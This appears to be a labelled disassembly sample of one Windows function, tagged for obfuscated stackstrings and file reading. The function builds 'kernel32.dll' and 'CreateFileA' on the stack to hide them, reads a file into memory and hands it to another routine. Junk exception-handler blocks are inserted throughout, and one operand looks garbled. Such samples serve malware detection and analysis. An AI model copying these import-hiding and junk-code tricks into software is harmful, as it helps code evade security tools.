Function at 0x10006a00
Capabilities:
Contain obfuscated stackstrings
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push ebx
push esi
mov esi, ecx
mov bl, 0x72
mov cl, 0x65
mov dl, 0x6c
push edi
mov dword [ebp - 8], esi
mov byte [ebp - 0x24], 0x6b
mov byte [ebp - 0x23], cl
mov byte [ebp - 0x22], bl
mov byte [ebp - 0x21], 0x6e
mov byte [ebp - 0x20], cl
mov byte [ebp - 0x1f], dl
mov byte [ebp - 0x1e], 0x33
mov byte [ebp - 0x1d], 0x32
mov byte [ebp - 0x1c], 0x2e
mov byte [ebp - 0x1b], 0x64
mov byte [ebp - 0x1a], dl
mov byte [ebp - 0x19], dl
mov byte [ebp - 0x18], 0
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0
push 0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
push ebx
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x44
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
mov byte [ebp - 0x14], 0x43
mov byte [ebp - 0x13], bl
mov byte [ebp - 0x12], cl
mov byte [ebp - 0x11], 0x61
mov byte [ebp - 0x10], 0x74
mov byte [ebp - 0xf], cl
mov byte [ebp - 0xe], 0x46
mov byte [ebp - 0xd], 0x69
mov byte [ebp - 0xc], dl
mov byte [ebp - 0xb], cl
mov byte [ebp - 0xa], 0x41
mov byte [ebp - 9], 0
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0
push 0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
push ebx
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x44
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
lea eax, [ebp - 0x14]
lea ecx, [ebp - 0x24]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, eax
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0
push 0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
push ebx
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x44
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0
push 0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
push ebx
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x44
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
mov edi, dword [ebp + 8]
cmp dword [edi + 4], 0xffffffff
jne 0x10006b5f
mov ecx, esi
call fcn.10006c80
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
push 0
push 0x80
push 3
push 0
push 1
add esi, 0x20
push bind
push esi
call ecx
mov ebx, eax
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0
push 0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
push ebx
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x44
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
cmp ebx, 0xffffffff
jne 0x10006bb9
or eax, ebx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
mov edx, dword [edi + 4]
push 0
push edi
push edx
push ebx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0
push 0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
push ebx
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x44
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
push 0x2000
push 0x40
mov dword [ebp - 4], 0
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov esi, eax
lea edx, [ebp - 4]
push 0
push edx
mov byte [esi], 0x6a
mov eax, dword [edi]
mov dword [esi + 1], eax
mov ecx, dword [edi + 4]
lea eax, [esi + 9]
push 0x1ff7
push eax
push ebx
mov dword [esi + 5], ecx
call dword [sym.imp.KERNEL32.dll_ReadFile]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 4]
test eax, eax
jbe 0x10006c60
mov ecx, dword [ebp - 8]
add eax, 9
push eax
push esi
call fcn.1000cda0
push esi
mov edi, eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
mov ecx, dword [ebp - 8]
call fcn.10006c80
mov edi, dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4